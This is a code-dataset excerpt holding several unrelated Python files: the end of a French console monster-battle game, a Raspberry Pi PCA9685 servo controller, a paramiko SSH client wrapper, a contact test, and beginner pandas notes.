mokeponEnnemi[\"niveau\"] * mokeponEnnemi[\"niveau\"] * mokeponEnnemi[\"niveau\"]\r\n else:\r\n CreaMokeponEnnemi(mokeponEnnemi, niv)\r\n\r\n if (player[\"mokepon\"][\"vitesse\"] < mokeponEnnemi[\"vitesse\"]):\r\n tours = 2\r\n verificationKeyCJ = 0\r\n elif (player[\"mokepon\"][\"vitesse\"] == mokeponEnnemi[\"vitesse\"]):\r\n tours = 1\r\n verificationKeyCJ = 1\r\n else:\r\n tours = 1\r\n\r\n if (boss):\r\n print(\"AH! Tu as fini par arriver jusqu'a moi, JAMAIS TU NE ME VAINCRA MINABLE\")\r\n textApparitionEnnemi(mokeponEnnemi)\r\n else:\r\n interactionEnnemi()\r\n textApparitionEnnemi(mokeponEnnemi)\r\n affichagePV(player, mokeponEnnemi, False)\r\n\r\n while death != \"G-0\" and death != \"IA-Dead\" and death != 'run':\r\n\r\n # Roulement des tours\r\n if (tours % 2) == 0: # Si pair -> Ennemi joue\r\n print(Style.RESET_ALL)\r\n print('\\033[32m')\r\n death = attaqueIa(mokeponEnnemi, player)\r\n affichagePV(player, mokeponEnnemi, True)\r\n verificationKeyCJ = 1\r\n if death == \"G-0\":\r\n print(Style.RESET_ALL)\r\n return \"G-0\"\r\n else: # Si impair -> joueur attaque\r\n # Menu du choix de l'action du joueur\r\n while verificationKeyCJ == 1:\r\n print(Style.RESET_ALL)\r\n choix = choixCombatJoueurs(boss)\r\n if (choix == 'inv'):\r\n if (playerInventory(player) == False):\r\n verificationKeyCJ = 1\r\n else:\r\n verificationKeyCJ = 0\r\n elif (choix == 'atk'):\r\n print('\\033[31m')\r\n death = attaqueJoueurs(player, mokeponEnnemi)\r\n affichagePV(player, mokeponEnnemi, False)\r\n verificationKeyCJ = 0\r\n elif (choix == 'run'):\r\n annulationBonus(player)\r\n print('Vous fuyez le combat !')\r\n death = 'run'\r\n verificationKeyCJ = 0\r\n else:\r\n print(\"Error !\")\r\n verificationKeyCJ = 1\r\n verificationKeyCJ = 0\r\n if death == \"IA-Dead\":\r\n annulationBonus(player)\r\n print(Style.RESET_ALL)\r\n return \"good\"\r\n tours = tours + 1\r\n\r\n\r\ndef MenuDirection(n, s, e, w):\r\n print(\"Ou voulez vous vous dirigez ?\")\r\n if n == True:\r\n print(\"1 : Haut\")\r\n if s == True:\r\n print(\"2 : Bas\")\r\n if e == True:\r\n print(\"3 : Droite\")\r\n if w == True:\r\n print(\"4 : Gauche\")\r\n\r\n print(\"---------------------------\")\r\n direc = input()\r\n\r\n if n == False and direc == '1':\r\n print(\"Evite de foncer dans les murs !\")\r\n direc = MenuDirection(n, s, e, w)\r\n return direc\r\n elif s == False and direc == '2':\r\n print(\"Evite de foncer dans les murs !\")\r\n direc = MenuDirection(n, s, e, w)\r\n return direc\r\n elif e == False and direc == '3':\r\n print(\"Evite de foncer dans les murs !\")\r\n direc = MenuDirection(n, s, e, w)\r\n return direc\r\n elif w == False and direc == '4':\r\n print(\"Evite de foncer dans les murs !\")\r\n direc = MenuDirection(n, s, e, w)\r\n return direc\r\n\r\n elif direc != '1' and direc != '2' and direc != '3' and direc != '4':\r\n print(\"erreur de frappe ? Recommencez donc\")\r\n direc = MenuDirection(n, s, e, w) # Recursivité ta vu ;p\r\n return direc\r\n\r\n else:\r\n return direc\r\n\r\n\r\n######################################################### MAP1\r\n\r\ndef a11(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 901\")\r\n random_area()\r\n MenuDirection(False, False, True, False)\r\n\r\n\r\ndef a12(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 901\")\r\n random_area()\r\n gm=roulementDesTours(player,0,False,0)\r\n if gm==\"G-0\":\r\n print(\"Game Over - Trop faible pour ce jeu ?\")\r\n briller()\r\n time.sleep(3)\r\n sys.exit()\r\n acc = MenuDirection(False, False, True, True)\r\n if acc == '4':\r\n a11(player)\r\n a12(player)\r\n\r\n\r\ndef a13(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 901\")\r\n random_area()\r\n print(\"Vous avez trouver une potion ! Waow :o\")\r\n ajoutPotion(player, \"soin\")\r\n\r\n acc = MenuDirection(False, True, False, True)\r\n if acc == '4':\r\n a12(player)\r\n a13(player)\r\n\r\n\r\ndef b13(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 901\")\r\n random_area()\r\n # event ?\r\n acc = MenuDirection(True, True, False, False)\r\n if acc == '1':\r\n a13(player)\r\n b13(player)\r\n\r\n\r\ndef c13(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 901\")\r\n random_area()\r\n gm=roulementDesTours(player,0,False,0)\r\n if gm==\"G-0\":\r\n print(\"Game Over - Trop faible pour ce jeu ?\")\r\n briller()\r\n time.sleep(3)\r\n sys.exit()\r\n acc = MenuDirection(True, False, True, False)\r\n if acc == '1':\r\n b13(player)\r\n c13(player)\r\n\r\n\r\ndef c14(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 901\")\r\n random_area()\r\n # event ?\r\n acc = MenuDirection(False, False, True, True)\r\n if acc == '4':\r\n c13(player)\r\n c14(player)\r\n\r\n\r\ndef c15(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 901\")\r\n random_area()\r\n gm=roulementDesTours(player,0,False,0)\r\n if gm==\"G-0\":\r\n print(\"Game Over - Trop faible pour ce jeu ?\")\r\n briller()\r\n time.sleep(3)\r\n sys.exit()\r\n acc = MenuDirection(False, False, True, True)\r\n if acc == '4':\r\n c14(player)\r\n c15(player)\r\n else:\r\n return True\r\n\r\n\r\ndef map1(player):\r\n success = False\r\n player[\"position\"]=1\r\n while success == False:\r\n a11(player)\r\n a12(player)\r\n a13(player)\r\n b13(player)\r\n c13(player)\r\n c14(player)\r\n success = c15(player)\r\n\r\n\r\n######################################################### MAP2\r\n\r\ndef b21(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 902\")\r\n random_area()\r\n gm=roulementDesTours(player,1,False,0)\r\n if gm==\"G-0\":\r\n print(\"Game Over - Trop faible pour ce jeu ?\")\r\n briller()\r\n time.sleep(3)\r\n sys.exit()\r\n MenuDirection(False, False, True, False) # droite\r\n\r\n\r\ndef b22(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 902\")\r\n random_area()\r\n # event ?\r\n acc = MenuDirection(False, False, True, True) # gauche droite\r\n if acc == '4':\r\n b21(player)\r\n b22(player)\r\n\r\n\r\ndef b23(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 902\")\r\n random_area()\r\n gm=roulementDesTours(player,1,False,0)\r\n if gm==\"G-0\":\r\n print(\"Game Over - Trop faible pour ce jeu ?\")\r\n briller()\r\n time.sleep(3)\r\n sys.exit()\r\n acc = MenuDirection(False, True, False, True) # gauche bas\r\n if acc == '4':\r\n b22(player)\r\n b23(player)\r\n\r\n\r\ndef c23(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 902\")\r\n random_area()\r\n # event ?\r\n acc = MenuDirection(True, True, False, False) # haut bas\r\n if acc == '1':\r\n b23(player)\r\n c23(player)\r\n\r\n\r\ndef d23(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 902\")\r\n random_area()\r\n print(\"Vous avez trouver une potion ! Waow :o\")\r\n ajoutPotion(player, \"soin\")\r\n acc = MenuDirection(True, False, True, False) # haut droite\r\n if acc == '1':\r\n c23(player)\r\n d23(player)\r\n\r\n\r\ndef d24(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 902\")\r\n random_area()\r\n # event ?\r\n acc = MenuDirection(False, False, True, True) # gauche droite\r\n if acc == '4':\r\n d23(player)\r\n d24(player)\r\n\r\n\r\ndef d25(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 902\")\r\n random_area()\r\n # event ?\r\n acc = MenuDirection(True, False, False, True) # haut gauche\r\n if acc == '4':\r\n d24(player)\r\n d25(player)\r\n\r\n\r\ndef c25(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 902\")\r\n random_area()\r\n gm=roulementDesTours(player,1,False,0)\r\n if gm==\"G-0\":\r\n print(\"Game Over - Trop faible pour ce jeu ?\")\r\n briller()\r\n time.sleep(3)\r\n sys.exit()\r\n acc = MenuDirection(True, True, False, False) # haut bas\r\n if acc == '2':\r\n d25(player)\r\n c25(player)\r\n\r\n\r\ndef b25(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 902\")\r\n random_area()\r\n # event ?\r\n acc = MenuDirection(True, True, False, False) # haut bas\r\n if acc == '2':\r\n c25(player)\r\n b25(player)\r\n\r\n\r\ndef a25(player): # end of road\r\n clear_aff()\r\n print(\"Vous êtes sur la route 902\")\r\n random_area()\r\n gm=roulementDesTours(player,1,False,0)\r\n if gm==\"G-0\":\r\n print(\"Game Over - Trop faible pour ce jeu ?\")\r\n briller()\r\n time.sleep(3)\r\n sys.exit()\r\n acc = MenuDirection(True, True, False, False) # haut bas\r\n if acc == '2':\r\n b25(player)\r\n a25(player)\r\n else:\r\n return True\r\n\r\n\r\ndef map2(player):\r\n success = False\r\n player[\"position\"] = 2\r\n while success == False:\r\n b21(player)\r\n b22(player)\r\n b23(player)\r\n c23(player)\r\n d23(player)\r\n d24(player)\r\n d25(player)\r\n c25(player)\r\n b25(player)\r\n success = a25(player)\r\n\r\n\r\n######################################################### MAP3\r\n\r\ndef c31(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 903\")\r\n random_area()\r\n gm=roulementDesTours(player,2,False,0)\r\n if gm==\"G-0\":\r\n print(\"Game Over - Trop faible pour ce jeu ?\")\r\n briller()\r\n time.sleep(3)\r\n sys.exit()\r\n MenuDirection(False, False, True, False)\r\n\r\n\r\ndef c32(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 903\")\r\n random_area()\r\n # event ?\r\n acc = MenuDirection(False, False, True, True)\r\n if acc == '4':\r\n c31(player)\r\n c32(player)\r\n\r\n\r\ndef c33(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 903\")\r\n random_area()\r\n # event\r\n acc = MenuDirection(True, False, False, True)\r\n if acc == '4':\r\n c32(player)\r\n c33(player)\r\n\r\n\r\ndef b33(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 903\")\r\n random_area()\r\n print(\"Vous avez trouver une potion ! Waow :o\")\r\n ajoutPotion(player, \"soin\")\r\n acc = MenuDirection(True, True, False, False)\r\n if acc == '2':\r\n c33(player)\r\n b33(player)\r\n\r\n\r\ndef a33(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 903\")\r\n random_area()\r\n gm=roulementDesTours(player,2,False,0)\r\n if gm==\"G-0\":\r\n print(\"Game Over - Trop faible pour ce jeu ?\")\r\n briller()\r\n time.sleep(3)\r\n sys.exit()\r\n acc = MenuDirection(True, True, False, False)\r\n if acc == '2':\r\n b33(player)\r\n a33(player)\r\n else:\r\n return True\r\n\r\n\r\ndef map3(player):\r\n success = False\r\n player[\"position\"] = 3\r\n while success == False:\r\n c31(player)\r\n c32(player)\r\n c33(player)\r\n b33(player)\r\n success = a33(player)\r\n\r\n\r\n######################################################### MAP4\r\n\r\ndef b41(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 904\")\r\n random_area()\r\n gm=roulementDesTours(player,3,False,0)\r\n if gm==\"G-0\":\r\n print(\"Game Over - Trop faible pour ce jeu ?\")\r\n briller()\r\n time.sleep(3)\r\n sys.exit()\r\n MenuDirection(False, False, True, False) # droite\r\n\r\n\r\ndef b42(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 904\")\r\n random_area()\r\n # event ?\r\n acc = MenuDirection(False, False, True, True) # gauche droite\r\n if acc == '4':\r\n b41(player)\r\n b42(player)\r\n\r\n\r\ndef b43(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 904\")\r\n random_area()\r\n # event\r\n acc = MenuDirection(False, False, True, True) # gauche droite\r\n if acc == '4':\r\n b42(player)\r\n b43(player)\r\n\r\n\r\ndef b44(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 904\")\r\n random_area()\r\n gm=roulementDesTours(player,3,False,0)\r\n if gm==\"G-0\":\r\n print(\"Game Over - Trop faible pour ce jeu ?\")\r\n briller()\r\n time.sleep(3)\r\n sys.exit()\r\n acc = MenuDirection(True, True, False, True) # haut bas gauche\r\n if acc == '4':\r\n b43(player)\r\n b44(player)\r\n elif acc == '1':\r\n a44(player)\r\n\r\n\r\ndef a44(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 904\")\r\n random_area()\r\n print(\"Vous avez trouver un EASTER EGG ! Waow :o\")\r\n rickroll()\r\n MenuDirection(False, True, False, False) # bas\r\n b44(player)\r\n\r\n\r\ndef c44(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 904\")\r\n random_area()\r\n gm=roulementDesTours(player,3,False,0)\r\n if gm==\"G-0\":\r\n print(\"Game Over - Trop faible pour ce jeu ?\")\r\n briller()\r\n time.sleep(3)\r\n sys.exit()\r\n acc = MenuDirection(True, True, False, False) # haut bas\r\n if acc == '1':\r\n b44(player)\r\n c44(player)\r\n\r\n\r\ndef d44(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 904\")\r\n random_area()\r\n print(\"Vous avez trouver une potion ! Waow :o\")\r\n ajoutPotion(player, \"soin\")\r\n acc = MenuDirection(True, True, False, False) # haut bas\r\n if acc == '1':\r\n c44(player)\r\n d44(player)\r\n\r\n\r\ndef e44(player): # end of road\r\n clear_aff()\r\n print(\"Vous êtes sur la route 904\")\r\n random_area()\r\n # event3\r\n acc = MenuDirection(True, True, False, False) # haut bas\r\n if acc == '1':\r\n d44(player)\r\n e44(player)\r\n else:\r\n return True\r\n\r\n\r\ndef map4(player):\r\n success = False\r\n player[\"position\"] = 4\r\n while success == False:\r\n b41(player)\r\n b42(player)\r\n b43(player)\r\n b44(player)\r\n c44(player)\r\n d44(player)\r\n success = e44(player)\r\n\r\n\r\n######################################################### MAP5\r\n\r\ndef b51(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 905\")\r\n random_area()\r\n # event\r\n MenuDirection(False, False, True, False) # droite\r\n\r\n\r\ndef b52(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 905\")\r\n random_area()\r\n gm=roulementDesTours(player,4,False,0)\r\n if gm==\"G-0\":\r\n print(\"Game Over - Trop faible pour ce jeu ?\")\r\n briller()\r\n time.sleep(3)\r\n sys.exit()\r\n acc = MenuDirection(False, False, True, True) # gauche droite\r\n if acc == '4':\r\n b51(player)\r\n b52(player)\r\n\r\n\r\ndef b53(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 905\")\r\n random_area()\r\n # event\r\n acc = MenuDirection(False, False, True, True) # gauche droite\r\n if acc == '4':\r\n b52(player)\r\n b53(player)\r\n\r\n\r\ndef b54(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 905\")\r\n random_area()\r\n gm=roulementDesTours(player,4,False,0)\r\n if gm==\"G-0\":\r\n print(\"Game Over - Trop faible pour ce jeu ?\")\r\n briller()\r\n time.sleep(3)\r\n sys.exit()\r\n acc = MenuDirection(False, False, True, True) # gauche droite\r\n if acc == '4':\r\n b53(player)\r\n b54(player)\r\n\r\n\r\ndef b55(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 905\")\r\n random_area()\r\n print(\"Vous avez trouver une potion ! Waow :o\")\r\n ajoutPotion(player, \"soin\")\r\n acc = MenuDirection(True, False, False, True) # gauche haut\r\n if acc == '4':\r\n b54(player)\r\n b55(player)\r\n\r\n\r\ndef a55(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 905\")\r\n random_area()\r\n gm=roulementDesTours(player,4,False,0)\r\n if gm==\"G-0\":\r\n print(\"Game Over - Trop faible pour ce jeu ?\")\r\n briller()\r\n time.sleep(3)\r\n sys.exit()\r\n acc = MenuDirection(True, True, False, False) # haut bas\r\n if acc == '2':\r\n b55(player)\r\n a55(player)\r\n\r\n\r\ndef mb55(player): # end of road\r\n clear_aff()\r\n print(\"Vous êtes sur la route 905\")\r\n random_area()\r\n gm=roulementDesTours(player,4,False,0)\r\n if gm==\"G-0\":\r\n print(\"Game Over - Trop faible pour ce jeu ?\")\r\n briller()\r\n time.sleep(3)\r\n sys.exit()\r\n acc = MenuDirection(True, True, False, False) # haut bas\r\n if acc == '2':\r\n a55(player)\r\n mb55(player)\r\n else:\r\n return True\r\n\r\n\r\ndef map5(player):\r\n success = False\r\n player[\"position\"] = 5\r\n while success == False:\r\n b51(player)\r\n b52(player)\r\n b53(player)\r\n b54(player)\r\n b55(player)\r\n a55(player)\r\n success = mb55(player)\r\n\r\n\r\n######################################################### MAP6\r\n\r\ndef c61(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 906\")\r\n random_area()\r\n # event\r\n MenuDirection(True, False, False, False)\r\n\r\n\r\ndef b61(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 906\")\r\n random_area()\r\n gm=roulementDesTours(player,4,False,0)\r\n if gm==\"G-0\":\r\n print(\"Game Over - Trop faible pour ce jeu ?\")\r\n briller()\r\n time.sleep(3)\r\n sys.exit()\r\n\r\n acc = MenuDirection(False, True, True, False)\r\n if acc == '2':\r\n c61(player)\r\n b61(player)\r\n\r\n\r\ndef b62(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 906\")\r\n random_area()\r\n # event\r\n acc = MenuDirection(False, False, True, True)\r\n if acc == '4':\r\n b61(player)\r\n b62(player)\r\n\r\n\r\ndef b63(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 906\")\r\n random_area()\r\n gm=roulementDesTours(player,4,False,0)\r\n if gm==\"G-0\":\r\n print(\"Game Over - Trop faible pour ce jeu ?\")\r\n briller()\r\n time.sleep(3)\r\n sys.exit()\r\n acc = MenuDirection(False, True, False, True)\r\n if acc == '4':\r\n b62(player)\r\n b63(player)\r\n\r\n\r\ndef c63(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 906\")\r\n random_area()\r\n # event\r\n acc = MenuDirection(True, True, False, False)\r\n if acc == '1':\r\n b63(player)\r\n c63(player)\r\n\r\n\r\ndef d63(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 906\")\r\n random_area()\r\n gm=roulementDesTours(player,4,False,0)\r\n if gm==\"G-0\":\r\n print(\"Game Over - Trop faible pour ce jeu ?\")\r\n briller()\r\n time.sleep(3)\r\n sys.exit()\r\n acc = MenuDirection(True, True, True, False)\r\n if acc == '1':\r\n c63(player)\r\n d63(player)\r\n elif acc == '2':\r\n e63(player)\r\n\r\n\r\ndef e63(player): # special path\r\n clear_aff()\r\n print(\"Vous êtes sur la route 906\")\r\n random_area()\r\n print(\"Vous avez trouver une potion ! Waow :o\")\r\n ajoutPotion(player, \"soin\")\r\n MenuDirection(True, False, False, False)\r\n d63(player)\r\n\r\n\r\ndef d64(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 906\")\r\n random_area()\r\n gm=roulementDesTours(player,4,False,0)\r\n if gm==\"G-0\":\r\n print(\"Game Over - Trop faible pour ce jeu ?\")\r\n briller()\r\n time.sleep(3)\r\n sys.exit()\r\n acc = MenuDirection(False, False, True, True)\r\n if acc == '4':\r\n d63(player)\r\n d64(player)\r\n\r\n\r\ndef d65(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 906\")\r\n random_area()\r\n # event\r\n acc = MenuDirection(True, True, False, True)\r\n if acc == '4':\r\n d64(player)\r\n d65(player)\r\n elif acc == '2':\r\n e65(player)\r\n\r\n\r\ndef e65(player): # special path\r\n clear_aff()\r\n print(\"Vous êtes sur la route 906\")\r\n random_area()\r\n gm=roulementDesTours(player,4,False,0)\r\n if gm==\"G-0\":\r\n print(\"Game Over - Trop faible pour ce jeu ?\")\r\n briller()\r\n time.sleep(3)\r\n sys.exit()\r\n MenuDirection(True, False, False, False)\r\n d65(player)\r\n\r\n\r\ndef c65(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 906\")\r\n random_area()\r\n # event\r\n acc = MenuDirection(True, True, False, False)\r\n if acc == '2':\r\n d65(player)\r\n c65(player)\r\n\r\n\r\ndef b65(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 906\")\r\n random_area()\r\n print(\"Vous avez trouver une potion ! Waow :o\")\r\n ajoutPotion(player, \"soin\")\r\n acc = MenuDirection(True, True, False, False)\r\n if acc == '2':\r\n c65(player)\r\n b65(player)\r\n\r\n\r\ndef a65(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 906\")\r\n random_area()\r\n gm=roulementDesTours(player,4,False,0)\r\n if gm==\"G-0\":\r\n print(\"Game Over - Trop faible pour ce jeu ?\")\r\n briller()\r\n time.sleep(3)\r\n sys.exit()\r\n acc = MenuDirection(False, True, True, False)\r\n if acc == '2':\r\n b65(player)\r\n a65(player)\r\n\r\n\r\ndef a66(player):\r\n clear_aff()\r\n print(\"Vous êtes sur la route 906\")\r\n random_area()\r\n acc = MenuDirection(False, False, True, True)\r\n if acc == '4':\r\n a65(player)\r\n a66(player)\r\n else:\r\n return True\r\n\r\n\r\ndef map6(player):\r\n success = False\r\n player[\"position\"] = 6\r\n while success == False:\r\n c61(player)\r\n b61(player)\r\n b62(player)\r\n b63(player)\r\n c63(player)\r\n d63(player)\r\n d64(player)\r\n d65(player)\r\n c65(player)\r\n b65(player)\r\n a65(player)\r\n success = a66(player)\r\n\r\n\r\ndef boss(player):\r\n i=0\r\n print(\"Devant vous se présente le grand fléau de 2020, l'Horrible Corvid et il vous agresse, préparez vous a riposter !\")\r\n while i<3:\r\n gm=roulementDesTours(player, 4, True, i)\r\n if gm==\"G-0\":\r\n print(\"Game Over - Trop faible pour ce jeu ?\")\r\n briller()\r\n time.sleep(3)\r\n sys.exit()\r\n i+=1\r\n felicitation()\r\n\r\nmenu()\r\n","sub_path":"jeu.py","file_name":"jeu.py","file_ext":"py","file_size_in_byte":46992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"426419946","text":"from time import sleep\nimport smbus\nimport math\n\nclass Body(object):\n \"\"\"Control surbo motors through PCA9685.\"\"\"\n def __init__(self):\n self.bus = smbus.SMBus(1)\n self.address_pca9685 = 0x40\n\n self._resetPCA9685()\n self._setPCA9685Freq(50)\n\n self.NEUTRAL = 276\n self.PLUS = self.NEUTRAL + 100\n self.MINUS = self.NEUTRAL - 100\n\n\n def _resetPCA9685(self):\n self.bus.write_byte_data(self.address_pca9685, 0x00, 0x00)\n\n def _setPCA9685Freq(self, freq):\n freq = 0.9*freq # Arduinoのライブラリより\n prescaleval = 25000000.0 # 25MHz\n prescaleval /= 4096.0 # 12-bit\n prescaleval /= float(freq)\n prescaleval -= 1.0\n prescale = int(math.floor(prescaleval + 0.5))\n oldmode = self.bus.read_byte_data(self.address_pca9685, 0x00)\n newmode = (oldmode & 0x7F) | 0x10 # スリープモード\n self.bus.write_byte_data(self.address_pca9685, 0x00, newmode) # スリープモードへ\n self.bus.write_byte_data(self.address_pca9685, 0xFE, prescale) # プリスケーラーをセット\n self.bus.write_byte_data(self.address_pca9685, 0x00, oldmode)\n sleep(0.005)\n self.bus.write_byte_data(self.address_pca9685, 0x00, oldmode | 0xa1)\n\n\n def setPCA9685Duty2(self, channel, off1, off2):\n channelpos = 0x6 + 4*channel\n on1 = on2 = 0\n data = [on1&0xFF, on1>>8, off1&0xFF, off1>>8,\n on2&0xFF, on2>>8, off2&0xFF, off2>>8]\n self.bus.write_i2c_block_data(self.address_pca9685, channelpos, data)\n\n\n def setPCA9685Duty6(self, channel, off1, off2, off3, off4, off5, off6):\n channelpos = 0x6 + 4*channel\n on1 = on2 = on3 = on4 = on5 = on6 = 0\n data = [on1&0xFF, on1>>8, off1&0xFF, off1>>8,\n on2&0xFF, on2>>8, off2&0xFF, off2>>8,\n on3&0xFF, on3>>8, off3&0xFF, off3>>8,\n on4&0xFF, on4>>8, off4&0xFF, off4>>8,\n on5&0xFF, on5>>8, off5&0xFF, off5>>8,\n on6&0xFF, on6>>8, off6&0xFF, off6>>8]\n self.bus.write_i2c_block_data(self.address_pca9685, channelpos, data)\n","sub_path":"Raspi/Body.py","file_name":"Body.py","file_ext":"py","file_size_in_byte":2162,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"133192456","text":"\n# python standard library\nimport socket\n\n# third party\nimport paramiko\n\n# this package\nfrom theape.parts.connections.clientbase import BaseClient,\\\n ConnectionError\n\nPORT = 22\nTIMEOUT = 10\nNEWLINE = '\\n'\nSPACE_JOIN = \"{prefix} {command}\"\n\nclass SimpleClient(BaseClient):\n \"\"\"\n A simple wrapper around paramiko's SSHClient.\n\n The only intended public interface is exec_command.\n \"\"\"\n def __init__(self, *args, **kwargs):\n \"\"\"\n :param:\n\n - `hostname`: ip address or resolvable hostname.\n - `username`: the login name.\n - `timeout`: Time to give the client to connect\n - `port`: TCP port of the server\n - `args, kwargs`: anything else that the SSHClient.connect can use will be passed in to it\n \"\"\"\n super(SimpleClient, self).__init__(*args, **kwargs)\n self._client = None\n return\n\n @property\n def client(self):\n \"\"\"\n The main reason for this class\n\n :rtype: paramiko.SSHClient\n :return: An instance of SSHClient connected to remote host.\n :raise: ClientError if the connection fails.\n \"\"\"\n if self._client is None:\n self._client = paramiko.SSHClient()\n self._client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n self._client.load_system_host_keys()\n try:\n self._client.connect(hostname=self.hostname,\n username=self.username,\n timeout=self.timeout,\n port=self.port,\n **self.kwargs)\n\n # these are fatal exceptions, no one but the main program should catch them\n except paramiko.AuthenticationException as error:\n self.logger.error(error)\n raise ConnectionError(\"There is a problem with the ssh-keys or password for \\n{0}\".format(self))\n \n except paramiko.PasswordRequiredException as error:\n self.logger.error(error)\n self.logger.error(\"Private Keys Not Set Up, Password Required.\")\n raise ConnectionError(\"SSH Key Error :\\n {0}\".format(self))\n\n except socket.timeout as error:\n self.logger.error(error)\n raise ConnectionError(\"Paramiko is unable to connect to \\n{0}\".format(self))\n \n except socket.error as error:\n self.logger.error(error)\n if 'Connection refused' in error: \n raise ConnectionError(\"SSH Server Not responding: check setup:\\n {0}\".format(self))\n raise ConnectionError(\"Problem with connection to:\\n {0}\".format(self))\n return self._client\n\n @property\n def port(self):\n \"\"\"\n The TCP port\n \"\"\"\n if self._port is None:\n self._port = 22\n return self._port\n\n @port.setter\n def port(self, new_port):\n \"\"\"\n Sets the port (I tried putting this in the base but you can't split the setter and property definitions)\n\n :param:\n\n - `new_port`: integer port number\n :raise: ConnectionError if can't cast to int\n \"\"\"\n if new_port is not None:\n try:\n self._port = int(new_port)\n except ValueError as error:\n self.logger.error(error)\n raise ConnectionError(\"Unable to set port to : {0}\".format(new_port))\n else:\n self._port = new_port\n return\n\n def exec_command(self, command, timeout=TIMEOUT):\n \"\"\"\n A pass-through to the SSHClient's exec_command.\n\n :param:\n\n - `command`: A string to send to the client.\n - `timeout`: Set non-blocking timeout.\n\n :rtype: tuple\n :return: stdin, stdout, stderr\n\n :raise: ConnectionError for paramiko or socket exceptions\n \"\"\"\n if not command.endswith(NEWLINE):\n command += NEWLINE\n try:\n self.logger.debug(\"({0}) Sending to paramiko -- '{1}', timeout={2}\".format(self,\n command,\n timeout))\n return self.client.exec_command(command, timeout=timeout)\n\n except socket.timeout:\n self.logger.debug(\"socket timed out\")\n raise ConnectionError(\"Timed out -- Command: {0} Timeout: {1}\".format(command,\n timeout))\n # this catches other socket errors so it should go after any other socket exceptions\n except (socket.error, paramiko.SSHException, AttributeError) as error:\n # the AttributeError is raised if no connection was actually made (probably the wrong IP address)\n self._client = None\n self.logger.error(error)\n raise ConnectionError(\"Problem with connection to:\\n {0}\".format(self))\n return\n# end class SimpleClient\n\nif __name__ == '__main__':\n import pudb;pudb.set_trace()\n client = SimpleClient('abc', 'def')","sub_path":"theape/parts/connections/simpleclient.py","file_name":"simpleclient.py","file_ext":"py","file_size_in_byte":5260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"585456103","text":"# -*- coding: utf-8 -*-\nfrom model.contact import Contact\n\n\ndef test_add_contact(app):\n old_contacts=app.contact.get_contact_list()\n contact=Contact(firstname=\"Firstname\", lastname=\"Lastname\")\n app.contact.create_contact(contact)\n new_contacts=app.contact.get_contact_list()\n assert len(old_contacts)+1 == len(new_contacts)\n old_contacts.append(contact)\n assert sorted(old_contacts, key=Contact.id_or_max)==sorted(new_contacts, key=Contact.id_or_max)\n\n\n\n\n","sub_path":"test/test_add_contact.py","file_name":"test_add_contact.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"618032519","text":"'''\nOpen source library built on top of numpy\nfast analyis, data cleaning, preparation,\nbuilt in visualisation features\nwork data variety sources\n\nconda install pythons\nSeries, dataframes, missing data, groupbym nerging joining concatenatin, operations, data in/out\n'''\n\n#Series-datatype, built on top numpy array, idnexed by label\nimport numpy as np\nimport pandas as pd\nfrom numpy.random import randn\nlabels = ['a', 'b', 'c']\nmy_data=[10,20,30]\narr=np.array(my_data)\nd={'a':10, 'b':20,'c':30}\npd.Series(data = my_data)\npd.Series(data=my_data, index=labels)#indexes are labelled\npd.Series(my_data, labels)\npd.Series(d)\n#can also hold any type data object, hold references to functions, cant do with numpy array\npd.Series([sum, print, len])\n\nser1 = pd.Series([1,2], [\"us\", \"germany\"])\nser2=pd.Series([3,4], ['italy', 'japan'])\nser1['us']#know index is string, when index is number pass in number\nser3=pd.Series(data=labels)\nser3[0]\n\nser1+ser2 # tries to add based on index, when no match between produces NaN\n# pandas and numpy tends to convert things to 